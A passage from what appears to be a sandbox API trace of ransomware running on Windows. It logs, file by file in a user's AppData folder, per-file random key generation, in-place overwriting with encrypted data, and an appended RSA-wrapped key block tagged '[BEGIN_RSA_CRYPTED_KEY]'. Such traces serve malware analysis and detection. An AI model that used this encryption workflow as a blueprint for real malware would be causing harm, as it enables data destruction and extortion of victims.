hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0215.216] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0215.216] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0215.216] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="aWxdOcg8lEsyGu/+u2V8DoRsX8l0ZLr93yZFqU9lQj/hbp68W1FY4MYbd/+gTgB3\noj5TFtNJW+SxMGmog+76Qu4VF4qK682sgi9bReZSFgmo8aYtppKV4wkUh8/A6eKW\nuN/aoG53nYfv5xm9qiYl0Ppt1QKqD6DjkFRYlqaTNVjeWt9De6VBDYjXgQSePP4w\nt9zbBQomDb4YrJ8GQWukQ//d+KjC2GYw12qIo88odH1OtXFBCQEgXT856PeoZjvu\nHvY07r4UoFcVr+UOcNV+PNKSqaGBI3uCM6h2lSbq4hpF9dVzuaHZ89BOifQSxM7r\n/Neanq8/Qhm8x7nN7rN3CA==\n", pcchString=0x2e3f9a8) returned 1 [0215.216] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0215.216] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.217] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.217] CloseHandle (hObject=0x1840) returned 1 [0215.257] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0215.257] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9f24ecfdefd34468d45409327a44eb2500a494e4f0900cce335973c84166a4c0", dwFileAttributes=0x80) returned 1 [0215.257] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9f24ecfdefd34468d45409327a44eb2500a494e4f0900cce335973c84166a4c0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9f24ecfdefd34468d45409327a44eb2500a494e4f0900cce335973c84166a4c0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0215.257] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=23610) returned 1 [0215.258] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x5c3a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c3a, lpOverlapped=0x0) returned 1 [0215.283] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-23610, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.283] WriteFile (in: hFile=0x1840, lpBuffer=0x2f35020*, nNumberOfBytesToWrite=0x5c3a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c3a, lpOverlapped=0x0) returned 1 [0215.283] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c3a [0215.283] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.283] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.283] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0215.284] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0215.284] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0215.284] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="mC+kwT9tBU7AjjTwD6CAfunO6PP7Rjyfp/SnikFcf6C+I9cMiou9stgGBckt8pM5\nNdNxfx90zkemDXhj/td5WiKnoJ61J1o5h4VohmuTAE9AIH9hwfTgq/1AEeaowKY9\nsS1Ch7/DoPZJiBX/su3mat2PjvzyawJ8klLuQx2KcXjL0ghPXUWNiaGIRuUK0rav\nCy6bRzY9qQZNsF2uVyKsK6BZMQ+wLlokpbVDNpvX2Pu1M6HCMxuESQbCHRfmt9ca\nLOIWpNH6Tt1fUi80QMsVPXjJo6jYYwWC+kTlJQGwTKQLQgfIrWMqjxs22bclaM7w\nDcXkg1YnlGtp6SM/MgPLoA==\n", pcchString=0x2e3f9a8) returned 1 [0215.284] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0215.284] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.284] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.284] CloseHandle (hObject=0x1840) returned 1 [0215.286] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0215.286] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9db78c7410b58d8960dda10e1ee909e1a25f041034177d38c51564504dee5e0c", dwFileAttributes=0x80) returned 1 [0215.286] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9db78c7410b58d8960dda10e1ee909e1a25f041034177d38c51564504dee5e0c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9db78c7410b58d8960dda10e1ee909e1a25f041034177d38c51564504dee5e0c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0215.287] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2080) returned 1 [0215.287] ReadFile (in: hFile=0x1840, lpBuffer=0x313e008, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesRead=0x2e3f9b4*=0x820, lpOverlapped=0x0) returned 1 [0215.363] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-2080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.363] WriteFile (in: hFile=0x1840, lpBuffer=0x3351010*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x820, lpOverlapped=0x0) returned 1 [0215.363] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x820 [0215.363] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.363] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.364] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0215.364] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0215.364] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0215.364] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="+YpfFCoWT8D2Iqz6RK4ObYpvY6cbpXWUjkj2lCjCIhXo3pZ3QgXuViDCmRnlAbpH\nYSaJiqsk0hRwTPegBkFwpt2AYFXNWqeSSNITdcPIRZ53AvYi418tFHsVImqD+BM3\n6fXCTtLcKr7bhQnxG3SN9SO+SlMC3RVuV+z0RZgo2padpJ92MRGqwJn8WPtceUN7\nrI+guk3B2PepZrrf8is+BPI0GyTv+6AYNTWvYE1qjXvvq8NMo2hwZqXDmn1o02IY\n6rNulgruR1rl1s/kK20SvnwKoFwujivO7A/km+c+sRTD77huBgeEhSSA50GEIpkZ\nrBgvDEaoV303yV7pDkeWEg==\n", pcchString=0x2e3f9a8) returned 1 [0215.364] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0215.364] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.364] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.364] CloseHandle (hObject=0x1840) returned 1 [0215.366] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0215.366] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9aa4bfef94a1cb70ea72ed16fde07fc49bb17f2dc10fd77943ca9dd0c6356837", dwFileAttributes=0x80) returned 1 [0215.366] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9aa4bfef94a1cb70ea72ed16fde07fc49bb17f2dc10fd77943ca9dd0c6356837" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9aa4bfef94a1cb70ea72ed16fde07fc49bb17f2dc10fd77943ca9dd0c6356837"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0215.366] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16759) returned 1 [0215.366] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x4177, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x4177, lpOverlapped=0x0) returned 1 [0215.419] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-16759, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.419] WriteFile (in: hFile=0x1840, lpBuffer=0x2f35020*, nNumberOfBytesToWrite=0x4177, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4177, lpOverlapped=0x0) returned 1 [0215.419] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4177 [0215.419] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.419] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.419] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0215.420] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0215.420] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0215.420] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="sUAD0432xY8c7lbm/986yLjPgisWyKjprj6Pu/xnjyjaXD20PRm/fGCg2ucNj0e8\nt8yUajRcGQyx+kNQCEk8JXhx3B4lKiJ0XvR1exuAF95Gva7puzRCB8iaaS/LQt/E\nzJFXg0iOLSLwUuD6OCM7tTOEFeEehydTxwaPaIC+0vboRtBEjM1k8/HPRJgCAtY1\ny6QyqNTon6V5eIYXSc8LR9Fa3exflyRgfgG10tgDaBVe+r+edXA9TlITl8Jjm5n1\nwkj8ezH7ibwKYEGe2K22N5oAUwsPXdx/jilC7CGP71ndg3G4LYpMB4uYLa3jMMKh\nUGZ2PkTYnI84TrkkuQyPqg==\n", pcchString=0x2e3f9a8) returned 1 [0215.420] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0215.420] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.420] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.420] CloseHandle (hObject=0x1840) returned 1 [0215.421] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0215.421] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9a87e3fe2d7ea1de74b31b26617f95e4098146265116e663f527b958bc1d19df", dwFileAttributes=0x80) returned 1 [0215.422] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9a87e3fe2d7ea1de74b31b26617f95e4098146265116e663f527b958bc1d19df" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9a87e3fe2d7ea1de74b31b26617f95e4098146265116e663f527b958bc1d19df"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0215.422] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1538) returned 1 [0215.422] ReadFile (in: hFile=0x1840, lpBuffer=0x313e008, nNumberOfBytesToRead=0x602, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesRead=0x2e3f9b4*=0x602, lpOverlapped=0x0) returned 1 [0215.423] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-1538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.423] WriteFile (in: hFile=0x1840, lpBuffer=0x313e618*, nNumberOfBytesToWrite=0x602, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e618*, lpNumberOfBytesWritten=0x2e3f9b4*=0x602, lpOverlapped=0x0) returned 1 [0215.423] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x602 [0215.424] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.424] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.424] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0215.424] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0215.424] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0215.424] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="DJkwr3mJWQcHfxmj0Zq0DQrOJaD/1vs0X+liFotODaxc8dtidAFQu3xzTuZxI6Ut\n9S2nAD9KjV2g5LqrLw8+PYvQa5GX4KMKG27S23jPZfhxUG/H54fy39nyGNub+EtA\nN9tmz0Nqh5MAl+ceTirz1p8D3aAh9/6cnBGWW1ayKWR1htN/Kxw3DkPPbfBS2B/A\nEUVZVMPSOsTYXZi5Ijr56I2KTBY4VHwNZ+qF+QFGMyD0ivTv4xhSy5vlrsQSgRMC\nc4ATg+ir5iIckfIKCdQgULdEqidZIMWf6ZE5rPIMwWkml8JuQ5tXfkgEzAaImsIR\nyepvjii6oZ9Z2m6DAb0Jkw==\n", pcchString=0x2e3f9a8) returned 1 [0215.424] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0215.424] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.424] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.424] CloseHandle (hObject=0x1840) returned 1 [0215.425] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0215.426] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9a22a3bc3d26647ba734eaa23fa953092ef77644b36be11f23ae36acb7d65240", dwFileAttributes=0x80) returned 1 [0215.426] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9a22a3bc3d26647ba734eaa23fa953092ef77644b36be11f23ae36acb7d65240" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9a22a3bc3d26647ba734eaa23fa953092ef77644b36be11f23ae36acb7d65240"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0215.426] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=366294) returned 1 [0215.426] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x596d6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x596d6, lpOverlapped=0x0) returned 1 [0215.502] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-366294, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.502] WriteFile (in: hFile=0x1840, lpBuffer=0x33aa6f0*, nNumberOfBytesToWrite=0x596d6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33aa6f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x596d6, lpOverlapped=0x0) returned 1 [0215.503] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x596d6 [0215.503] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.503] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.503] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0215.503] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0215.504] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0215.504] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="r0oB1cntVbVBkHG1gCI+39cXYvnTw18IrnZylKQYkgnYAz4HCZ8B9I9a3Qh6PN1f\nLrqNqFGvU1YZsBHUOa04R/cE7k7UhIJDKMkR2zBAOfJQa+wLrcbjYgp50t6UIRLB\naKCsi6zjr3txPw3CnzQNDw2W76O3AMRsNT3+UlFWChAy7BXlG/IXO9cUBnPtMSrV\nKh9CTCcp0IrvNaaApZS4HTc43OkngmeDMA1noOMBAQ4dtNiih4DLxZMBTgg+pNF8\nqGZKGb0bZ7aTPkReq0y0pHXpzYbFWd5m2Mr4w6NkCs1RiNc1JCL4geqntbNQ2Gg3\nz4J/OdPt3m1ubSxQVYZwUA==\n", pcchString=0x2e3f9a8) returned 1 [0215.504] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0215.504] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.504] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.504] CloseHandle (hObject=0x1840) returned 1 [0215.506] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0215.506] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9989d3f8dd92a20c893e743448f2321d714f50277c551ba927a9aac1a1dc98d8", dwFileAttributes=0x80) returned 1 [0215.506] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9989d3f8dd92a20c893e743448f2321d714f50277c551ba927a9aac1a1dc98d8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9989d3f8dd92a20c893e743448f2321d714f50277c551ba927a9aac1a1dc98d8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0215.507] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1170233) returned 1 [0215.507] ReadFile (in: hFile=0x1840, lpBuffer=0x67f020, nNumberOfBytesToRead=0x11db39, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x67f020*, lpNumberOfBytesRead=0x2e3f9b4*=0x11db39, lpOverlapped=0x0) returned 1 [0215.737] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-1170233, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.738] WriteFile (in: hFile=0x1840, 